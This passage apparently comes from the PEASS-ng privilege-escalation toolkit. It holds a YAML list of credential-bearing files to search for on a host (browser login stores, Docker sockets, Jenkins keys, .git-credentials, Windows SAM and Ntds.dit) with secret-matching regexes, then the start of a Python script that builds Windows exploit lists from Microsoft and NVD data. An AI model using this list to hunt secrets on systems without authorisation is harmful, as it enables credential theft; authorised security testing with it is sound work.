just_list_file: True type: f search_in: - common - name: Docker value: config: auto_check: False files: - name: "docker.socket" value: type: f search_in: - common - name: "docker.sock" value: type: f search_in: - common - name: "Dockerfile" value: type: f search_in: - common - name: "docker-compose.yml" value: type: f search_in: - common - name: "dockershim.sock" value: type: f search_in: - common - name: "containerd.sock" value: type: f search_in: - common - name: "crio.sock" value: type: f search_in: - common - name: "frakti.sock" value: type: f search_in: - common - name: "rktlet.sock" value: type: f search_in: - common - name: ".docker" value: files: - name: "config.json" value: bad_regex: ".*" remove_empty_lines: True type: d search_in: - common - name: Firefox value: disable: - winpeas config: auto_check: True files: - name: ".mozilla" value: files: - name: "places.sqlite" value: just_list_file: True - name: "bookmarkbackups" value: just_list_file: True - name: "formhistory.sqlite" value: just_list_file: True - name: "handlers.json" value: just_list_file: True - name: "persdict.dat" value: just_list_file: True - name: "addons.json" value: just_list_file: True - name: "cookies.sqlite" value: just_list_file: True - name: "cache2" value: just_list_file: True - name: "startupCache" value: just_list_file: True - name: "favicons.sqlite" value: just_list_file: True - name: "prefs.js" value: just_list_file: True - name: "downloads.sqlite" value: just_list_file: True - name: "thumbnails" value: just_list_file: True - name: "logins.json" value: just_list_file: True - name: "key4.db" value: just_list_file: True - name: "key3.db" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: "Firefox" value: files: - name: "places.sqlite" value: just_list_file: True - name: "bookmarkbackups" value: just_list_file: True - name: "formhistory.sqlite" value: just_list_file: True - name: "handlers.json" value: just_list_file: True - name: "persdict.dat" value: just_list_file: True - name: "addons.json" value: just_list_file: True - name: "cookies.sqlite" value: just_list_file: True - name: "cache2" value: just_list_file: True - name: "startupCache" value: just_list_file: True - name: "favicons.sqlite" value: just_list_file: True - name: "prefs.js" value: just_list_file: True - name: "downloads.sqlite" value: just_list_file: True - name: "thumbnails" value: just_list_file: True - name: "logins.json" value: just_list_file: True - name: "key4.db" value: just_list_file: True - name: "key3.db" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: Chrome value: disable: - winpeas config: auto_check: True files: - name: "google-chrome" value: files: - name: "History" value: just_list_file: True - name: "Cookies" value: just_list_file: True - name: "Cache" value: just_list_file: True - name: "Bookmarks" value: just_list_file: True - name: "Web Data" value: just_list_file: True - name: "Favicons" value: just_list_file: True - name: "Login Data" value: just_list_file: True - name: "Current Session" value: just_list_file: True - name: "Current Tabs" value: just_list_file: True - name: "Last Session" value: just_list_file: True - name: "Last Tabs" value: just_list_file: True - name: "Extensions" value: just_list_file: True - name: "Thumbnails" value: just_list_file: True - name: "Preferences" value: just_list_file: True - name: "Custom Dictionary.txt" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: "Chrome" value: files: - name: "History" value: just_list_file: True - name: "Cookies" value: just_list_file: True - name: "Cache" value: just_list_file: True - name: "Bookmarks" value: just_list_file: True - name: "Web Data" value: just_list_file: True - name: "Favicons" value: just_list_file: True - name: "Login Data" value: just_list_file: True - name: "Current Session" value: just_list_file: True - name: "Current Tabs" value: just_list_file: True - name: "Last Session" value: just_list_file: True - name: "Last Tabs" value: just_list_file: True - name: "Extensions" value: just_list_file: True - name: "Thumbnails" value: just_list_file: True - name: "Preferences" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: Opera value: disable: - winpeas config: auto_check: True files: - name: "com.operasoftware.Opera" value: files: - name: "History" value: just_list_file: True - name: "Cookies" value: just_list_file: True - name: "Cache" value: just_list_file: True - name: "Bookmarks" value: just_list_file: True - name: "Web Data" value: just_list_file: True - name: "Favicons" value: just_list_file: True - name: "Login Data" value: just_list_file: True - name: "Current Session" value: just_list_file: True - name: "Current Tabs" value: just_list_file: True - name: "Last Session" value: just_list_file: True - name: "Last Tabs" value: just_list_file: True - name: "Extensions" value: just_list_file: True - name: "Thumbnails" value: just_list_file: True - name: "Preferences" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: Safari value: disable: - winpeas config: auto_check: True files: - name: "Safari" value: files: - name: "History.db" value: just_list_file: True - name: "Downloads.plist" value: just_list_file: True - name: "Book-marks.plist" value: just_list_file: True - name: "TopSites.plist" value: just_list_file: True - name: "UserNotificationPermissions.plist" value: just_list_file: True - name: "LastSession.plist" value: just_list_file: True type: d search_in: - $HOMESEARCH - name: Autologin value: disable: - winpeas config: auto_check: True files: - name: "autologin" value: bad_regex: "passwd" type: f search_in: - common - name: "autologin.conf" value: bad_regex: "passwd" type: f search_in: - common - name: FastCGI value: config: auto_check: True files: - name: "fastcgi_params" value: bad_regex: "DB_NAME|DB_USER|DB_PASS" only_bad_lines: True type: f search_in: - common - name: Fat-Free value: config: auto_check: True files: - name: "fat.config" value: bad_regex: "password.*" only_bad_lines: True type: f search_in: - common - name: Shodan value: config: auto_check: True files: - name: "api_key" value: remove_empty_lines: True type: f search_in: - common - name: Concourse value: config: auto_check: True files: - name: ".flyrc" value: bad_regex: "token:*|value:.*" remove_empty_lines: True type: f search_in: - common - name: "concourse-auth" value: files: - name: "host-key" value: bad_regex: "RSA PRIVATE KEY" remove_empty_lines: True - name: "local-users" value: bad_regex: ".*" remove_empty_lines: True - name: "session-signing-key" value: bad_regex: ".*" remove_empty_lines: True - name: "worker-key-pub" value: just_list_file: True type: d search_in: - common - ${ROOT_FOLDER}concourse-auth - name: "concourse-keys" value: files: - name: "host_key" value: bad_regex: "RSA PRIVATE KEY" remove_empty_lines: True - name: "session_signing_key" value: bad_regex: ".*" remove_empty_lines: True - name: "worker_key.pub" value: just_list_file: True type: d search_in: - common - ${ROOT_FOLDER}concourse-keys - name: Boto value: config: auto_check: True files: - name: ".boto" value: bad_regex: ".*" remove_empty_lines: True type: f search_in: - common - name: SNMP value: config: auto_check: True files: - name: "snmpd.conf" value: bad_regex: "rocommunity|rwcommunity|extend.*|^createUser" only_bad_lines: True type: f search_in: - common - name: Pypirc value: config: auto_check: True files: - name: ".pypirc" value: bad_regex: "username|password" type: f search_in: - common - name: Postfix value: config: auto_check: True files: - name: "postfix" value: files: - name: "master.cf" value: bad_regex: "user=|argv=" remove_empty_lines: True line_grep: '"user="' type: d search_in: - common - name: CloudFlare value: config: auto_check: True files: - name: ".cloudflared" value: type: d just_list_file: True search_in: - common - name: History value: config: auto_check: False files: - name: '*_history*' value: bad_regex: "$pwd_inside_history" line_grep: '-a "$pwd_inside_history"' type: f search_in: - common - name: Http_conf value: config: auto_check: True files: - name: "httpd.conf" value: bad_regex: "htaccess.*|htpasswd.*" only_bad_lines: True remove_regex: '\W+\#|^#' remove_empty_lines: True type: f search_in: - common - name: Htpasswd value: config: auto_check: True files: - name: ".htpasswd" value: bad_regex: ".*" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: Ldaprc value: config: auto_check: True files: - name: ".ldaprc" value: bad_regex: ".*" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: Env value: config: auto_check: True files: - name: ".env*" value: bad_regex: "[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB]|[pP][rR][iI][vV][aA][tT][eE]|[kK][eE][yY]" remove_regex: '^#' remove_empty_lines: True type: f remove_path: "example" search_in: - common - name: Proxy_Config value: config: auto_check: True files: - name: "environment" value: bad_regex: "(http|https|ftp|all)_proxy|no_proxy" only_bad_lines: True remove_empty_lines: True remove_regex: '^#' type: f check_extra_path: "^/etc/environment$" search_in: - common - name: "apt.conf" value: bad_regex: "Acquire::http::Proxy|Acquire::https::Proxy|proxy" only_bad_lines: True remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: "apt.conf.d" value: type: d files: - name: "*" value: bad_regex: "Acquire::http::Proxy|Acquire::https::Proxy|proxy" only_bad_lines: True remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Sniffing_Artifacts value: config: auto_check: True files: - name: "*.pcap" value: just_list_file: True type: f search_in: - common - name: "*.pcapng" value: just_list_file: True type: f search_in: - common - name: "keys.log" value: bad_regex: "CLIENT_RANDOM|SERVER_HANDSHAKE_TRAFFIC_SECRET|CLIENT_HANDSHAKE_TRAFFIC_SECRET|EXPORTER_SECRET|RESUMPTION_MASTER_SECRET" only_bad_lines: True remove_empty_lines: True type: f search_in: - common - name: "sslkeylog.log" value: bad_regex: "CLIENT_RANDOM|SERVER_HANDSHAKE_TRAFFIC_SECRET|CLIENT_HANDSHAKE_TRAFFIC_SECRET|EXPORTER_SECRET|RESUMPTION_MASTER_SECRET" only_bad_lines: True remove_empty_lines: True type: f search_in: - common - name: Msmtprc value: config: auto_check: True files: - name: ".msmtprc" value: bad_regex: "user.*|password.*" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: InfluxDB value: config: auto_check: True files: - name: "influxdb.conf" value: bad_regex: "auth-enabled.*=.*false|token|https-private-key" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: Zabbix value: config: auto_check: True files: - name: "zabbix_server.conf" value: bad_regex: "DBName|DBUser|DBPassword" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: "zabbix_agentd.conf" value: bad_regex: "TLSPSKFile|psk" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: "zabbix" value: files: - name: "*.psk" value: bad_regex: ".*" remove_empty_lines: True type: d search_in: - common - name: Github value: config: auto_check: True files: - name: ".github" value: just_list_file: True type: f search_in: - common - name: ".gitconfig" value: remove_empty_lines: True type: f search_in: - common - name: ".git-credentials" value: just_list_file: True type: f search_in: - common - name: ".git" value: just_list_file: True type: f search_in: - common - name: Svn value: config: auto_check: True files: - name: ".svn" value: just_list_file: True type: d search_in: - common - name: Keepass value: config: auto_check: True files: - name: "*.kdbx" value: just_list_file: True type: f search_in: - common - name: "KeePass.config*" value: just_list_file: True type: f search_in: - common - name: "KeePass.ini" value: just_list_file: True type: f search_in: - common - name: "KeePass.enforced*" value: just_list_file: True type: f search_in: - common - name: Pre-Shared Keys value: config: auto_check: True files: - name: "*.psk" value: just_list_file: True type: f search_in: - common - name: Pass Store Directories value: config: auto_check: True files: - name: ".password-store" value: just_list_file: True type: d search_in: - common - name: FTP value: config: auto_check: True files: - name: "vsftpd.conf" value: type: f bad_regex: "anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable|[yY][eE][sS]" good_regex: "\\s[nN][oO]|=[nN][oO]" line_grep: '"anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable"' remove_empty_lines: True search_in: - common - name: "*.ftpconfig" value: just_list_file: True type: f search_in: - common - name: "ffftp.ini" value: just_list_file: True type: f search_in: - common - name: "ftp.ini" value: just_list_file: True type: f search_in: - common - name: "ftp.config" value: just_list_file: True type: f search_in: - common - name: "sites.ini" value: just_list_file: True type: f search_in: - common - name: "wcx_ftp.ini" value: just_list_file: True type: f search_in: - common - name: "winscp.ini" value: just_list_file: True type: f search_in: - common - name: "ws_ftp.ini" value: just_list_file: True type: f search_in: - common - name: Samba value: config: auto_check: True exec: - 'smbstatus 2>/dev/null' files: - name: "smb.conf" value: type: f bad_regex: "browseable.*yes|read only.*no|writable.*yes|guest ok.*yes|enable privileges.*yes|create mask.*|directory mask.*|logon script.*|magic script.*|magic output.*" good_regex: "browseable.*no|read only.*yes|writable.*no|guest ok.*no|enable privileges.*no" line_grep: '"browseable|read only|writable|guest ok|enable privileges|create mask|directory mask|logon script|magic script|magic output"' remove_empty_lines: True search_in: - common - name: DNS value: config: auto_check: True files: - name: "bind" value: files: - name: "*" value: just_list_file: True - name: "*.key" value: bad_regex: ".*" remove_empty_lines: True remove_regex: '^#' - name: "named.conf*" value: bad_regex: "allow-query|allow-recursion|allow-transfer|zone-statistics|file .*" remove_empty_lines: True remove_regex: '^#|//' type: d search_in: - ${ROOT_FOLDER}etc #False possitives in home - ${ROOT_FOLDER}var - ${ROOT_FOLDER}usr - name: SeedDMS value: config: auto_check: True files: - name: "seeddms*" value: files: - name: "settings.xml" value: bad_regex: "[pP][aA][sS][sS]" line_grep: '"="' type: d search_in: - common - name: Ddclient value: config: auto_check: True files: - name: "ddclient.conf" value: bad_regex: ".*password.*" type: f search_in: - common - name: kcpassword value: config: auto_check: False files: - name: "kcpassword" value: just_list_file: True type: f search_in: - common - name: Sentry value: config: auto_check: True files: - name: "sentry" value: files: - name: "config.yml" value: bad_regex: "*key*" remove_empty_lines: True remove_regex: '^#' type: d search_in: - common - name: "sentry.conf.py" value: bad_regex: "[pP][aA][sS][sS].*|[uU][sS][eE][rR].*" remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Strapi value: config: auto_check: True files: - name: "environments" value: files: - name: "custom.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True - name: "database.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True - name: "request.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True - name: "response.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True - name: "security.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True - name: "server.json" value: bad_regex: "username.*|[pP][aA][sS][sS].*|secret.*" remove_empty_lines: True type: d search_in: - common - name: Cacti value: config: auto_check: True files: - name: "cacti" value: files: - name: "config.php" value: bad_regex: "database_pw.*|database_user.*|database_pass.*" line_grep: '"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl"' - name: "config.php.dist" value: bad_regex: "database_pw.*|database_user.*|database_pass.*" line_grep: '"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl"' - name: "installer.php" value: bad_regex: "database_pw.*|database_user.*|database_pass.*" line_grep: '"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl"' - name: "check_all_pages" value: bad_regex: "database_pw.*|database_user.*|database_pass.*" line_grep: '"database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl"' type: d search_in: - common - name: Roundcube value: config: auto_check: True files: - name: "roundcube" value: files: - name: "config.inc.php" value: bad_regex: "db_dsnw" line_grep: '"config\["' type: d search_in: - common - name: Passbolt value: config: auto_check: True files: - name: "passbolt.php" value: bad_regex: "[pP][aA][sS][sS].*|[uU][sS][eE][rR].*" line_grep: '"host|port|username|password|database"' remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Jetty value: config: auto_check: True files: - name: "jetty-realm.properties" value: bad_regex: ".*" remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Jenkins value: config: auto_check: True files: - name: "master.key" value: bad_regex: ".*" remove_empty_lines: True type: f search_in: - common - name: "hudson.util.Secret" value: bad_regex: ".*" remove_empty_lines: True type: f search_in: - common - name: "credentials.xml" value: bad_regex: "secret.*|password.*|token.*|SecretKey.*|credentialId.*" remove_empty_lines: True type: f search_in: - common - name: "config.xml" value: bad_regex: "secret.*|password.*|token.*|SecretKey.*|credentialId.*" only_bad_lines: True type: f search_in: - common - name: "*jenkins" value: files: - name: "build.xml" value: bad_regex: "secret.*|password.*" only_bad_lines: True type: d search_in: - common - name: Wget value: config: auto_check: True files: - name: ".wgetrc" value: bad_regex: "[pP][aA][sS][sS].*|[uU][sS][eE][rR].*" remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Interesting logs value: config: auto_check: True files: - name: "access.log" value: just_list_file: True type: f search_in: - common - name: "error.log" value: just_list_file: True type: f search_in: - common - name: Other Interesting value: config: auto_check: True files: - name: ".bashrc" value: just_list_file: True type: f search_in: - common - name: ".google_authenticator" value: just_list_file: True type: f search_in: - common - name: "hosts.equiv" value: just_list_file: True type: f search_in: - common - name: ".lesshst" value: just_list_file: True type: f search_in: - common - name: ".plan" value: just_list_file: True type: f search_in: - common - name: ".profile" value: just_list_file: True type: f search_in: - common - name: ".recently-used.xbel" value: just_list_file: True type: f search_in: - common - name: ".rhosts" value: just_list_file: True type: f search_in: - common - name: ".sudo_as_admin_successful" value: just_list_file: True type: f search_in: - common - name: Windows value: config: auto_check: True files: - name: "*.rdg" value: just_list_file: True type: f search_in: - common - name: "AppEvent.Evt" value: just_list_file: True type: f search_in: - common - name: "autounattend.xml" value: just_list_file: True type: f search_in: - common - name: "ConsoleHost_history.txt" value: just_list_file: True type: f search_in: - common - name: "FreeSSHDservice.ini" value: just_list_file: True type: f search_in: - common - name: "NetSetup.log" value: just_list_file: True type: f search_in: - common - name: "Ntds.dit" value: just_list_file: True type: f search_in: - common - name: "protecteduserkey.bin" value: just_list_file: True type: f search_in: - common - name: "RDCMan.settings" value: bad_regex: "credentialsProfiles|password|encryptedPassword" type: f search_in: - common - name: "SAM" value: just_list_file: True type: f search_in: - common - name: "SYSTEM" value: just_list_file: True type: f search_in: - common - name: "SecEvent.Evt" value: just_list_file: True type: f search_in: - common - name: "appcmd.exe" value: just_list_file: True type: f search_in: - common - name: "bash.exe" value: just_list_file: True type: f search_in: - common - name: "datasources.xml" value: just_list_file: True type: f search_in: - common - name: "default.sav" value: just_list_file: True type: f search_in: - common - name: "drives.xml" value: just_list_file: True type: f search_in: - common - name: "groups.xml" value: just_list_file: True type: f search_in: - common - name: "https-xampp.conf" value: just_list_file: True type: f search_in: - common - name: "https.conf" value: just_list_file: True type: f search_in: - common - name: "iis6.log" value: just_list_file: True type: f search_in: - common - name: "index.dat" value: just_list_file: True type: f search_in: - common - name: "my.cnf" value: just_list_file: True type: f search_in: - common - name: "my.ini" value: just_list_file: True type: f search_in: - common - name: "ntuser.dat" value: just_list_file: True type: f search_in: - common - name: "pagefile.sys" value: just_list_file: True type: f search_in: - common - name: "printers.xml" value: just_list_file: True type: f search_in: - common - name: "recentservers.xml" value: just_list_file: True type: f search_in: - common - name: "scclient.exe" value: just_list_file: True type: f search_in: - common - name: "scheduledtasks.xml" value: just_list_file: True type: f search_in: - common - name: "security.sav" value: just_list_file: True type: f search_in: - common - name: "server.xml" value: just_list_file: True type: f search_in: - common - name: "setupinfo" value: just_list_file: True type: f search_in: - common - name: "setupinfo.bak" value: just_list_file: True type: f search_in: - common - name: "sitemanager.xml" value: just_list_file: True type: f search_in: - common - name: "sites.ini" value: just_list_file: True type: f search_in: - common - name: "software" value: just_list_file: True type: f search_in: - common - name: "software.sav" value: just_list_file: True type: f search_in: - common - name: "sysprep.inf" value: just_list_file: True type: f search_in: - common - name: "sysprep.xml" value: just_list_file: True type: f search_in: - common - name: "system.sav" value: just_list_file: True type: f search_in: - common - name: "unattend.inf" value: just_list_file: True type: f search_in: - common - name: "unattend.txt" value: just_list_file: True type: f search_in: - common - name: "unattend.xml" value: just_list_file: True type: f search_in: - common - name: "unattended.xml" value: just_list_file: True type: f search_in: - common - name: "wcx_ftp.ini" value: just_list_file: True type: f search_in: - common - name: "ws_ftp.ini" value: just_list_file: True type: f search_in: - common - name: "web*.config" value: just_list_file: True type: f search_in: - common - name: "winscp.ini" value: just_list_file: True type: f search_in: - common - name: "wsl.exe" value: just_list_file: True type: f search_in: - common - name: "plum.sqlite" value: just_list_file: True type: f search_in: - common - name: Other Windows value: config: auto_check: True disable: - linpeas files: - name: "security" value: just_list_file: True type: f search_in: - common - name: "services.xml" value: just_list_file: True type: f search_in: - common - name: "system" value: just_list_file: True type: f search_in: - common # Final section - name: Database value: config: auto_check: False files: - name: "*.db" value: remove_path: "/man/|/usr/|/var/cache/|thumbcache|iconcache|IconCache" type: f search_in: - common - name: "*.sqlite" value: remove_path: "/man/|/usr/|/var/cache/" type: f search_in: - common - name: "*.sqlite3" value: remove_path: "/man/|/usr/|/var/cache/" type: f search_in: - common - name: Backups value: config: auto_check: False files: - name: "backup" value: type: f search_in: - common - name: "backups" value: type: f search_in: - common - name: Password Files value: config: auto_check: False files: - name: "*password*" value: just_list_file: True type: f search_in: - common - name: "*credential*" value: just_list_file: True type: f search_in: - common - name: "creds*" value: just_list_file: True type: f search_in: - common - name: "*.maintenance*" value: just_list_file: True type: f search_in: - common - name: "*.key" value: just_list_file: True type: f search_in: - common - name: Crontab-UI value: config: auto_check: True files: - name: "crontab.db" value: bad_regex: "-P[[:space:]]+\\S+|--password[[:space:]]+\\S+|[Pp]ass(word)?|[Tt]oken|[Ss]ecret" only_bad_lines: True type: f search_in: - common - name: "crontab-ui.service" value: just_list_file: True type: f search_in: - common ================================================ FILE: build_lists/update_windows_version_defs.py ================================================ #!/usr/bin/env python3 from __future__ import annotations import argparse import json import logging import os import re import tempfile import time import zipfile from collections import defaultdict from concurrent.futures import ThreadPoolExecutor, as_completed from dataclasses import dataclass from datetime import datetime, timezone from pathlib import Path from typing import Any from urllib.error import HTTPError, URLError from urllib.request import Request, urlopen BULLETIN_XLSX_URL = ( "https://download.microsoft.com/download/6/7/3/" "673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx" ) MSRC_UPDATES_URL = "https://api.msrc.microsoft.com/cvrf/v3.0/updates" MSRC_CVRF_ACCEPT = "application/json" NVD_FEED_URL_TEMPLATE = "https://nvd.nist.gov/feeds/json/cve/2.0/nvdcve-2.0-{year}.json.zip" USER_AGENT = "PEASS-ng windows_version_definitions updater" KB_PATTERN = re.compile(r"\b(\d{6,7})\b") WINDOWS_TOKEN = "windows" LEGACY_PRODUCT_ALIASES: dict[str, tuple[tuple[str, ...], frozenset[str]]] = { "Microsoft Windows XP Service Pack 2": ( ("Microsoft Windows XP", "Microsoft Windows XP Service Pack 1"), frozenset({"CVE-2017-0143"}), ), "Windows 10 for 32-bit Systems": ( ("Windows 10 Version 1507 for 32-bit Systems",), frozenset({"CVE-2017-0143"}), ), "Windows 10 for x64-based Systems": ( ("Windows 10 Version 1507 for x64-based Systems",), frozenset({"CVE-2017-0143"}), ), "Windows Server 2008 for 32-bit Systems Service Pack 2": ( ("Windows Server 2008 for 32-bit Systems Service Pack 1",), frozenset({"CVE-2017-0143"}), ), "Windows Server 2008 for x64-based Systems Service Pack 2": ( ("Windows Server 2008 for x64-based Systems Service Pack 1",), frozenset({"CVE-2017-0143"}), ), } LEGACY_COMPATIBILITY_ENTRIES: dict[str, tuple[dict[str, str], ...]] = { "Microsoft Windows XP": ( { "cve": "CVE-2017-0143", "kb": "4012598", "severity": "Critical", "impact": "Remote Code Execution", }, ), "Microsoft Windows XP Service Pack 1": ( { "cve": "CVE-2017-0143", "kb": "4012598", "severity": "Critical", "impact": "Remote Code Execution", }, ), } @dataclass(frozen=True) class RawEntry: cve: str kb: str product: str severity: str impact: str supersedes: tuple[str, ...] def configure_logging(verbose: bool) -> None: level = logging.DEBUG if verbose else logging.INFO logging.basicConfig( level=level, format="%(asctime)s %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description=( "Generate build_lists/windows_version_exploits.json directly from " "Microsoft Security Update Guide data, the legacy Microsoft bulletin " "workbook, and NVD exploit references." ) ) parser.add_argument( "--output", default=str(Path("build_lists") / "windows_version_exploits.json"), ) parser.add_argument( "--msrc-max-workers", type=int, default=max(4, min(8, (os.cpu_count() or 4))), help="Maximum parallel downloads for MSRC CVRF documents.", ) parser.add_argument( "--nvd-start-year", type=int, default=2002, help="First NVD year to process.", ) parser.add_argument( "--nvd-end-year", type=int, default=datetime.now(timezone.utc).year, help="Last NVD year to process.", ) parser.add_argument( "--timeout", type=int, default=180, help="Per-request timeout in seconds.", ) parser.add_argument( "--retries", type=int, default=4, help="Download retries for transient network failures.", ) parser.add_argument( "--verbose", action="store_true", help="Enable debug logging.", ) return parser.parse_args() def build_request(url: str, *, accept: str | None = None) -> Request: headers = {"User-Agent": USER_AGENT} if accept: headers["Accept"] = accept return Request(url, headers=headers) def download_bytes(url: str, *, timeout: int, retries: int, accept: str | None = None) -> bytes: request = build_request(url, accept=accept) delay = 1.5 for attempt in range(1, retries + 1): try: logging.debug("Downloading %s (attempt %d/%d)", url, attempt, retries) with urlopen(request, timeout=timeout) as response: payload = response.read() if not payload: raise ValueError(f"Received an empty response from {url}") return payload except (HTTPError, URLError, TimeoutError, ValueError) as exc: if attempt == retries: raise RuntimeError(f"Failed to download {url}: {exc}") from exc logging.warning( "Download failed for %s on attempt %d/%d: %s", url, attempt, retries, exc, ) time.sleep(delay) delay *= 2 raise AssertionError("unreachable") def download_json(url: str, *, timeout: int, retries: int, accept: str | None = None) -> Any: payload = download_bytes(url, timeout=timeout, retries=retries, accept=accept) try: return json.loads(payload.decode("utf-8")) except json.JSONDecodeError as exc: snippet = payload[:200].decode("utf-8", errors="replace") raise RuntimeError( f"Failed to decode JSON from {url}. Response starts with: {snippet!r}" ) from exc def normalize_spaces(value: Any) -> str: return re.sub(r"\s+", " ", str(value or "").strip()) def format_date(value: Any) -> str: if isinstance(value, datetime): return value.strftime("%Y%m%d") text = normalize_spaces(value) if not text: return "" for parser in (datetime.fromisoformat,): try: return parser(text.replace("Z", "+00:00")).strftime("%Y%m%d") except ValueError: pass for fmt in ("%Y-%m-%d", "%m/%d/%Y", "%Y%m%d"): try: return datetime.strptime(text, fmt).strftime("%Y%m%d") except ValueError: pass raise ValueError(f"Unsupported date value: {value!r}") def extract_kbs(text: Any) -> list[str]: value = normalize_spaces(text) return KB_PATTERN.findall(value) def get_latest_revision_date(vuln: dict[str, Any], fallback: str) -> str: latest = fallback for revision in vuln.get("RevisionHistory", []) or []: candidate = revision.get("Date") if not candidate: continue formatted = format_date(candidate) if formatted > latest: latest = formatted return latest def find_note_title(notes: list[dict[str, Any]], target_type: str) -> str: for note in notes or []: note_type = str(note.get("Type", "")).strip() if note_type == target_type: title = note.get("Title") if isinstance(title, dict): return normalize_spaces(title.get("Value")) return normalize_spaces(title) return "" def threat_type_matches(threat: dict[str, Any], target_type: str) -> bool: threat_type = threat.get("Type") if isinstance(threat_type, dict): threat_type = threat_type.get("Value") return str(threat_type).strip() == target_type def get_threat_value(vuln: dict[str, Any], product_id: str, target_type: str) -> str: matches: list[str] = [] fallback: list[str] = [] for threat in vuln.get("Threats", []) or []: if not threat_type_matches(threat, target_type): continue description = threat.get("Description") if isinstance(description, dict): description = description.get("Value") value = normalize_spaces(description) if not value: continue product_ids = threat.get("ProductID") or [] if isinstance(product_ids, str): product_ids = [product_ids] if product_id and product_id in product_ids: matches.append(value) else: fallback.append(value) if matches: return matches[0] if fallback: return fallback[0] return "" def load_bulletin_entries(*, timeout: int, retries: int) -> list[RawEntry]: try: from openpyxl import load_workbook except ModuleNotFoundError as exc: raise RuntimeError( "Missing dependency 'openpyxl'. Install it before running this generator." ) from exc logging.info("Downloading legacy Microsoft bulletin workbook") payload = download_bytes(BULLETIN_XLSX_URL, timeout=timeout, retries=retries) with tempfile.NamedTemporaryFile(prefix="bulletin_", suffix=".xlsx", delete=False) as handle: handle.write(payload) workbook_path = Path(handle.name) try: workbook = load_workbook(workbook_path, read_only=True, data_only=True) sheet = workbook.active entries: list[RawEntry] = [] row_count = 0 for row_index, row in enumerate(sheet.iter_rows(values_only=True), start=1): if row_index == 1: continue row_count += 1 if row_count % 5000 == 0: logging.info("Processed %d bulletin workbook rows", row_count) cves = [normalize_spaces(item) for item in str(row[13] or "").split(",") if normalize_spaces(item)] if not cves: continue date_posted = format_date(row[0]) kb = normalize_spaces(row[7]) product = normalize_spaces(row[6]).replace("2016 for x64-based Systems", "2016") severity = normalize_spaces(row[3]) impact = normalize_spaces(row[4]) supersedes = tuple(dict.fromkeys(extract_kbs(row[11]))) for cve in cves: entries.append( RawEntry( cve=cve, kb=kb, product=product, severity=severity, impact=impact, supersedes=supersedes, ) ) workbook.close() logging.info("Collected %d raw bulletin entries", len(entries)) return entries finally: workbook_path.unlink(missing_ok=True) def fetch_msrc_update_catalog(*, timeout: int, retries: int) -> list[dict[str, Any]]: logging.info("Downloading Microsoft Security Update Guide update catalog") data = download_json(MSRC_UPDATES_URL, timeout=timeout, retries=retries) updates = data.get("value") if not isinstance(updates, list) or not updates: raise RuntimeError("MSRC updates catalog did not return a usable 'value' list") updates.sort(key=lambda item: item.get("InitialReleaseDate", "")) logging.info("Catalog contains %d MSRC update documents", len(updates)) return updates def fetch_msrc_document(url: str, *, timeout: int, retries: int) -> dict[str, Any]: return download_json(url, timeout=timeout, retries=retries, accept=MSRC_CVRF_ACCEPT) def product_map_from_document(document: dict[str, Any]) -> dict[str, str]: mapping: dict[str, str] = {} for entry in document.get("ProductTree", {}).get("FullProductName", []) or []: product_id = normalize_spaces(entry.get("ProductID")) value = entry.get("Value") if isinstance(value, dict): value = value.get("Value") product_name = normalize_spaces(value) if product_id and product_name: mapping[product_id] = product_name return mapping def extract_msrc_entries_from_document(document: dict[str, Any]) -> list[RawEntry]: entries: list[RawEntry] = [] product_map = product_map_from_document(document) release_date = format_date( document.get("DocumentTracking", {}).get("InitialReleaseDate", datetime.now(timezone.utc)) ) for vuln in document.get("Vulnerability", []) or []: cve = normalize_spaces(vuln.get("CVE")) if not cve: continue posted = get_latest_revision_date(vuln, release_date) if not posted: posted = release_date for remediation in vuln.get("Remediations", []) or []: description = remediation.get("Description") if isinstance(description, dict): description = description.get("Value") description = normalize_spaces(description) kb_matches = extract_kbs(description) kb = kb_matches[0] if kb_matches else "" supersedes = tuple(dict.fromkeys(extract_kbs(remediation.get("Supercedence")))) product_ids = remediation.get("ProductID") or [] if isinstance(product_ids, str): product_ids = [product_ids] for product_id in product_ids: product = product_map.get(normalize_spaces(product_id)) if not product: continue severity = get_threat_value(vuln, product_id, "3") impact = get_threat_value(vuln, product_id, "0") if not impact: impact = find_note_title(vuln.get("Notes", []) or [], "7") entries.append( RawEntry( cve=cve, kb=kb, product=product, severity=severity, impact=impact, supersedes=supersedes, ) ) return entries def load_msrc_entries(*, timeout: int, retries: int, max_workers: int) -> list[RawEntry]: updates = 